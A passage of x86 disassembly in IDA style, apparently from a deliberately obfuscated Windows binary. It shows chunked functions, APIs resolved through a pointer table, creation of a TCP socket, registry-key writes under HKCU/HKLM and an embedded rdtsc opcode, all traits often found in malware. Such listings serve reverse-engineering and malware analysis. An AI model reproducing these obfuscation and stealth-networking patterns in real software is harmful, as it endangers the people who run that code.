loc_9AFA38:				; CODE XREF: sub_9B2118+3Fj
					; DATA XREF: .text:off_9BA786o
		call	sub_9B14CC
		and	eax, eax
		jz	loc_9B034B
		jmp	loc_9B2AE4
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AFA4C:				; CODE XREF: sub_9AD11C-17F4j
					; DATA XREF: .text:off_9BAD27o
		and	al, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		inc	eax


loc_9AFA56:				; CODE XREF: sub_9AD11C-17FAj
		mov	edi, eax


loc_9AFA58:				; CODE XREF: sub_9AD11C+62B7j
					; sub_9AD11C+65A7j
		push	dword_9BCB74
		pop	edx
		lea	ecx, [esp+18h+var_14]
		push	ecx
		push	8004667Eh
		mov	[esp+20h+var_14], 0
		mov	eax, [edx+10h]
		push	esi
		call	dword ptr [eax+54h]
		and	eax, eax
		push	1
		pop	eax
		jnz	loc_9AD1FA
		jmp	off_9B96D8
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC128


loc_9AFA8C:				; CODE XREF: sub_9AC128+9j
		mov	ecx, dword_9BCB74
		mov	[esp+4+var_4], 10h
		push	dword ptr [ecx+10h]
		pop	edx
		lea	ecx, [esp+4+var_4]
		push	ecx
		push	eax
		push	esi
		call	dword ptr [edx+2Ch]


loc_9AFAA6:				; CODE XREF: sub_9AC128+3j
		test	edi, edi
		jz	loc_9B5E48
		jmp	loc_9B5E2C
; END OF FUNCTION CHUNK	FOR sub_9AC128
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AFAB4:				; CODE XREF: sub_9B63D8-9864j
		mov	edx, dword_9BCB74
		push	dword ptr [edx+14h]
		pop	eax
		push	12h
		push	off_9BA16C
		lea	ecx, [esi+ebp-2120h]
		push	ecx
		call	dword ptr [eax+4]
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_9B2234
		jmp	loc_9ACBA0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AFAE4:				; CODE XREF: sub_9B562C-8175j
					; DATA XREF: .text:off_9BAC79o
		mov	edx, dword_9BCB74
		push	dword ptr [edx+18h]
		pop	eax
		push	esi
		push	edi
		push	ebx
		lea	ecx, [ebp+var_124]
		push	ecx
		call	dword ptr [eax+8]
		test	eax, eax
		jz	loc_9AE77C
		jmp	loc_9AF144
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AFB08:				; CODE XREF: sub_9B4FD0-4529j
					; DATA XREF: .text:off_9B989Fo
		mov	edx, [ebp+20h]
		cmp	dword_9BBF90[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9AFDAC
; END OF FUNCTION CHUNK	FOR sub_9B4FD0

; =============== S U B	R O U T	I N E =======================================



sub_9AFB1C	proc near		; CODE XREF: sub_9B43F4-6EACp

; FUNCTION CHUNK AT 009ACDB4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE7D4 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B02CB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B18CC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B28F0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B3B9C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B5DA8 SIZE 00000029 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B91AE
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	edi, edx
		mov	esi, ecx
		push	0Ah
		pop	eax
		mov	bx, [edi+8]
		jmp	off_9B9373
sub_9AFB1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AFB58:				; CODE XREF: sub_9B1F68-12A9j
					; DATA XREF: .text:off_9B89C2o
		push	0
		push	esi
		call	sub_9B0E7C
		push	esi


loc_9AFB61:				; CODE XREF: sub_9B1F68-6190j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+10h]
		call	dword ptr [eax+38h]
		mov	dword ptr [ebx], 0


loc_9AFB74:				; CODE XREF: sub_9B1F68-687Aj
					; sub_9B1F68-21E0j ...
		mov	edi, [ebp-34h]
		inc	edi
		jmp	loc_9B01E0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AFB83:				; CODE XREF: sub_9B3984-80DAj
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		sub	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+var_1C]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B94BB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		mov	ecx, off_9BA8D0
		call	sub_9B31A8
		call	sub_9AD01C
		jmp	loc_9B10BF
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AFC00:				; CODE XREF: sub_9B0930-3D1Fj
		push	off_9B88CC
		mov	eax, [eax+4]
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+4]
		pop	ecx
		mov	[ecx+4], eax
		push	dword_9BCB74
		jmp	off_9BAF3C
; END OF FUNCTION CHUNK	FOR sub_9B0930

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFC28	proc near		; CODE XREF: sub_9ACF9C+5DCBp
					; sub_9B3E24+16p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 009AB774 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009ADF17 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AEB00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF19C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B0888 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 009B0DE4 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9EC4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	esi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, 20h
		call	sub_9AF3E8
		push	eax
		pop	ebx
		mov	[ebp+var_1C], ebx
		or	ebx, ebx
		jz	loc_9ADF17
		jmp	off_9BA3D0
sub_9AFC28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AFC78:				; CODE XREF: sub_9AC6DC-C28j
		mov	ecx, dword_9BBD20
		add	ecx, 14h
		cmp	ecx, 64h
		jle	loc_9B1831
		jmp	off_9B97FA
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AFC90:				; CODE XREF: sub_9B3864-4762j
					; sub_9B3864+1A47j
		sub	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		jmp	loc_9B3D79
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AFCA0	proc near		; CODE XREF: sub_9B1D80-24AFp
					; sub_9B04A8+1p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		pop	eax
		push	eax		; netlong
		call	sub_9A4033
		add	esp, 4
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_9AFCA0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9AFCB4:				; CODE XREF: sub_9B0FD0+C7Fj
		inc	eax
		jmp	loc_9B1018
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9AFCBC:				; CODE XREF: sub_9ACF9C+8CF6j
		push	esi
		pop	ecx
		mov	eax, ecx
		mov	esi, [ebp+8]
		push	dword ptr [ebx+44h]
		pop	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebx
		call	sub_9B3150
		and	eax, eax
		jz	loc_9AF134
		jmp	loc_9B2D30
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AFCE8:				; CODE XREF: sub_9B1D80-3433j
					; DATA XREF: .text:off_9BAEF9o
		sbb	eax, eax
		inc	eax
		mov	[ebp-2064h], eax
		push	ecx
		lea	edx, [ebp-201Ch]
		push	edx
		push	dword ptr [ebp-204Ch]
		pop	ecx
		push	ecx
		push	eax
		push	ebx
		mov	edx, [ebp-2050h]
		push	edx
		push	0
		push	esi


loc_9AFD0D:				; CODE XREF: sub_9B1D80-6CBEj
		push	dword ptr [edi+4]
		pop	esi
		call	sub_9AB040
		push	eax
		push	1
		mov	eax, [ebp-2048h]
		push	eax
		mov	ecx, [ebp-2054h]
		push	ecx
		call	sub_9B2F1C
		add	esp, 30h


loc_9AFD2F:				; CODE XREF: sub_9B1D80+47E5j
		mov	eax, [ebp+10h]
		test	eax, eax
		jnz	loc_9B1D5B
		jmp	loc_9AD2A0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AB7C0


loc_9AFD43:				; CODE XREF: sub_9AB7C0+5Ej
					; sub_9B04A8-3A6Cj ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9AB7C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AFD68:				; CODE XREF: sub_9B1F68+22F4j
					; DATA XREF: .text:off_9B88A2o
		push	0
		push	esi
		call	sub_9B0E7C
		mov	edx, [ebp-38h]
		push	edx
		push	esi
		push	off_9BA0BD
		call	sub_9ABF08
		push	dword ptr [ebp-50h]
		pop	ecx
		mov	[ecx], eax
		or	eax, eax
		jnz	loc_9AFB74
		jmp	off_9BAE6A
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AFD94:				; CODE XREF: sub_9ADAC4-65Fj
					; DATA XREF: .text:off_9B896Fo
		push	eax
		xor	edx, edx
		call	sub_9AD590
		and	eax, eax
		jz	loc_9AAFA3
		jmp	loc_9AAF9C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AFDAC:				; CODE XREF: sub_9B4FD0-54B9j
		mov	ebx, ecx
		mov	[ebp-228h], ebx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9ACDE1
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AFDC0:				; CODE XREF: sub_9B1F68-510Bj
		mov	edi, ebx
		mov	[ebp-34h], edi
		inc	ebx
		mov	[ebp-30h], ebx
		lea	edi, [edi+edi*2]
		shl	edi, 2
		sub	ecx, ecx
		lea	esi, [edi+ebp-250h]
		push	esi
		pop	edx
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		mov	[esi], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	6
		push	1
		push	2
		call	dword ptr [eax+20h]
		lea	ecx, [edi+ebp-24Ch]
		mov	[ebp-4Ch], ecx
		mov	[ecx], eax
		jmp	off_9BA8B1
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AFE14:				; CODE XREF: sub_9B4950+12F0j
					; DATA XREF: .text:off_9B9978o
		lea	ecx, dword_9BEC34[esi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC38[esi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC3C[esi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC40[esi]
		call	sub_9B31A8


loc_9AFE40:				; CODE XREF: sub_9B4950-98DCj
					; sub_9B4950+12EAj
		inc	edi
		jmp	loc_9ABB3E
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AFE48:				; CODE XREF: sub_9AC6DC-C2Ej
		push	0
		push	55h
		push	edi
		push	esi
		call	__allmul
		push	0
		push	64h
		push	edx
		push	eax
		call	__aulldiv
		cmp	ebx, edx
		ja	loc_9B6188
		jmp	off_9B9F24
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AFE6F:				; CODE XREF: sub_9AB1A0+5397j
					; sub_9AB1A0+ADBFj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	off_9BAD92
		jmp	loc_9B11F8
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AFE8C:				; CODE XREF: sub_9B0930-193Dj
					; DATA XREF: .text:off_9B9A0Co
		push	off_9BA850
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+8], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	dword ptr [eax+8]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B5780
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9AFEC0:				; CODE XREF: sub_9B4CF4-3F21j
		mov	ax, word_9B93B4
		mov	[edi], ax


loc_9AFEC9:				; CODE XREF: sub_9B4CF4-2785j
		test	cl, 2
		jz	loc_9B0E00
		jmp	off_9BAA4D
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AFED8:				; CODE XREF: sub_9B4FD0-136Cj
		push	dword ptr [ebp+1Ch]
		pop	edx
		cmp	dword_9BBF7C[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9AED84
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AFEF0:				; CODE XREF: sub_9B63D8-46ADj
		cmp	dl, 39h
		jg	loc_9AF944
		jmp	loc_9AF9E0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AFF00:				; CODE XREF: sub_9ACEE8-850j
		mov	dl, [eax+ebp-0B0h]
		or	dl, dl
		jnz	loc_9ABB6C
		jmp	off_9BAEF5
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AFF18:				; CODE XREF: sub_9B5904-1569j
					; DATA XREF: .text:off_9B975Do
		mov	esi, eax
		mov	[ebp-20h], esi


loc_9AFF1D:				; CODE XREF: sub_9B5904-465Bj
		cmp	esi, 0FFFFFFFFh
		jz	loc_9B42FE
		jmp	loc_9AC524
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AFF2C:				; CODE XREF: sub_9B03E8+1E20j
		mov	ecx, dword_9BF380
		or	ecx, 2
		mov	word ptr dword_9BF380, cx


loc_9AFF3C:				; CODE XREF: sub_9B03E8+1E1Aj
		cmp	al, 3
		jnz	loc_9AC404
		jmp	off_9B89A2
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AFF4C:				; CODE XREF: sub_9B4950-1817j
		lea	edi, [eax+eax*4]
		shl	edi, 3
		cmp	dword_9BEC1C[edi], ebx
		jz	loc_9B332E
		jmp	off_9B8F9A
; END OF FUNCTION CHUNK	FOR sub_9B4950

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFF64	proc near		; CODE XREF: sub_9AF25C:loc_9AB8CCp
					; sub_9AF25C-2D4Ap

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009ACBD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009ACE7C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009ADB20 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 009B0444 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 009B128C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B3DF0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5807 SIZE 0000003A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9121
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 220h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		sub	edi, edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_228], edi
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], edi
		lea	edx, [ebp+var_120]
		push	edx
		push	3
		call	sub_9B6078
		add	esp, 8
		push	dword_9BBE3C
		pop	eax
		mov	ecx, dword_9BBD28
		cmp	eax, edi
		lea	eax, [ebp+var_224]
		jmp	loc_9B128C
sub_9AFF64	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9AFFE4:				; CODE XREF: sub_9ABD30+26j
					; DATA XREF: .text:off_9B8D14o
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		push	0
		mov	eax, edi
		sub	eax, esi
		push	eax
		lea	ecx, [ebp+esi+0]
		push	ecx
		push	ebx
		call	dword ptr [edx+44h]
		and	eax, eax
		jl	loc_9AF2B4
		jmp	off_9BA5F8
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B000C:				; CODE XREF: sub_9B0930+1730j
					; DATA XREF: .text:off_9B92D5o
		push	offset aLeavecriticals ; "LeaveCriticalSection"
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+1Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+1Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8DB2
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B003C:				; CODE XREF: sub_9AC6DC+5734j
					; sub_9AC6DC:loc_9B3F44j
		mov	eax, dword_9BBD20
		dec	eax
		sub	edx, edx
		or	eax, eax
		setl	dl
		dec	edx
		and	eax, edx


loc_9B004C:				; CODE XREF: sub_9AC6DC-387j
					; sub_9AC6DC+4E99j
		mov	dword_9BBD20, eax


loc_9B0051:				; CODE XREF: sub_9AC6DC+572Ej
					; sub_9AC6DC+9AC4j
		push	dword_9BBD10
		pop	eax


loc_9B0058:				; CODE XREF: sub_9AC6DC+515Bj
		or	eax, ebx
		jnz	loc_9ACC74
		jmp	loc_9B5090
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B0068:				; CODE XREF: sub_9B3864-183j
		pop	ecx
		push	ecx
		mov	eax, [ebp+var_2028]
		xor	edx, edx
		test	eax, eax
		setnz	dl
		push	edx
		call	sub_9B4FD0
		mov	[ebp+var_2070],	eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AF480
		jmp	loc_9B3374
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9B0094:				; CODE XREF: sub_9B3150-6DA6j
		push	ecx
		pop	eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebx]
		pop	eax
		mov	ecx, [ebx+48h]
		lea	edx, [eax-200h]
		push	edx		; int
		push	ecx		; int
		lea	eax, [ecx+eax-200h]
		push	eax		; int
		push	dword_9B8A14
		pop	ecx
		push	ecx		; int
		push	Src		; Src
		call	sub_9A8C4C
		add	esp, 14h
		test	eax, eax
		jnz	loc_9AADE4
		jmp	loc_9B5F24
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9B00DC:				; CODE XREF: sub_9B5FC0+4Fj
					; DATA XREF: .text:off_9B9018o
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		call	sub_9B6078
		add	esp, 8
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp+var_124]
		push	eax
		push	20006h
		push	0
		lea	ecx, [ebp+var_120]
		push	ecx
		sub	eax, eax
		and	esi, esi
		setnz	al
		add	eax, 80000001h
		push	eax
		call	dword ptr [edx+20h]
		test	eax, eax
		jnz	loc_9B2D27
		jmp	off_9BAB56
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9B012F:				; CODE XREF: sub_9B2010-3903j
					; sub_9B2010+39B6j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BEBF4
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9B014C:				; CODE XREF: sub_9B35A0-2B84j
					; DATA XREF: .text:off_9B8DF3o
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B10EA
		jmp	loc_9B10DC
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B015C:				; CODE XREF: sub_9AB1A0+2A7Dj
					; DATA XREF: .text:off_9B9F5Eo
		mov	ecx, dword_9BEC20[eax]
		or	ecx, ecx
		jz	loc_9ACCA6
		jmp	loc_9ADFDC
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADB10


loc_9B0170:				; CODE XREF: sub_9ADB10+Bj
		mov	edx, dword_9B9A54
		mov	[edi], edx
		mov	eax, dword_9B9A58
		mov	[edi+4], eax
		push	dword_9B9A5C
		pop	ecx
		mov	[edi+8], ecx
		push	dword_9B9A60
		pop	edx
		mov	[edi+0Ch], edx
		mov	eax, dword_9B9A64
		mov	[edi+10h], eax
		mov	cx, word_9B9A68
		mov	[edi+14h], cx
; END OF FUNCTION CHUNK	FOR sub_9ADB10
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9B01A7:				; CODE XREF: sub_9B27D8-3201j
		mov	edi, ebx
		dec	edi


loc_9B01AA:				; CODE XREF: sub_9B27D8-2628j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9B01AA
		jmp	loc_9B0F40
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B01B8:				; CODE XREF: sub_9B04A8-3262j
					; sub_9B04A8+1449j
		inc	dword ptr [ebp-4048h]
		jmp	loc_9ACA32
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9B01C4:				; CODE XREF: sub_9B2C70-5B81j
					; DATA XREF: .text:off_9B9010o
		push	0
		push	ebx
		call	sub_9B0E7C
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		push	ebx


loc_9B01D8:				; CODE XREF: sub_9B2C70-42AAj
		call	dword ptr [edx+38h]
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B01DB:				; CODE XREF: sub_9B1F68-4A7j
					; sub_9B1F68-2BAj
		dec	dword ptr [ebp-30h]


loc_9B01DE:				; CODE XREF: sub_9B1F68-5111j
					; sub_9B2C70-5B87j ...
		xor	edi, edi


loc_9B01E0:				; CODE XREF: sub_9B1F68-23F0j
					; sub_9B1F68+4276j ...
		mov	[ebp-34h], edi
		mov	ebx, [ebp-30h]
		cmp	edi, ebx
		jnb	loc_9B5EE0
		jmp	off_9B8D3E
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		dd 90C3310Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B01F8:				; CODE XREF: sub_9B3864-647Ej
		and	ebx, ebx
		js	loc_9AE2AC
		jmp	loc_9B28CC
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B0208:				; CODE XREF: sub_9B1D80+3572j
		jnb	loc_9B5354
		jmp	loc_9B1E30
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B0218:				; CODE XREF: sub_9AD97C+61j
		push	ecx
		call	dword ptr [eax+20h]
		and	eax, eax
		jz	loc_9AF884
		jmp	off_9B99EE
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B022C	proc near		; CODE XREF: sub_9B2118-1B5Fp
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	edi
		push	off_9B9632
		call	dword ptr [ecx+68h]
		xor	edx, edx
		xor	eax, eax
		mov	dword_9BCBB4, edx
		mov	dword_9BCBB8, edx
		mov	dword_9BCBBC, edx
		mov	dword_9BCBC0, edx
		mov	edi, off_9B985C
		mov	ecx, 801h
		mov	dword_9BCBC4, edx
		rep stosd
		mov	dword_9BCBC8, edx
		mov	dword_9BEBD0, eax
		mov	dword_9BEBD4, eax
		pop	edi
		retn
sub_9B022C	endp

; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


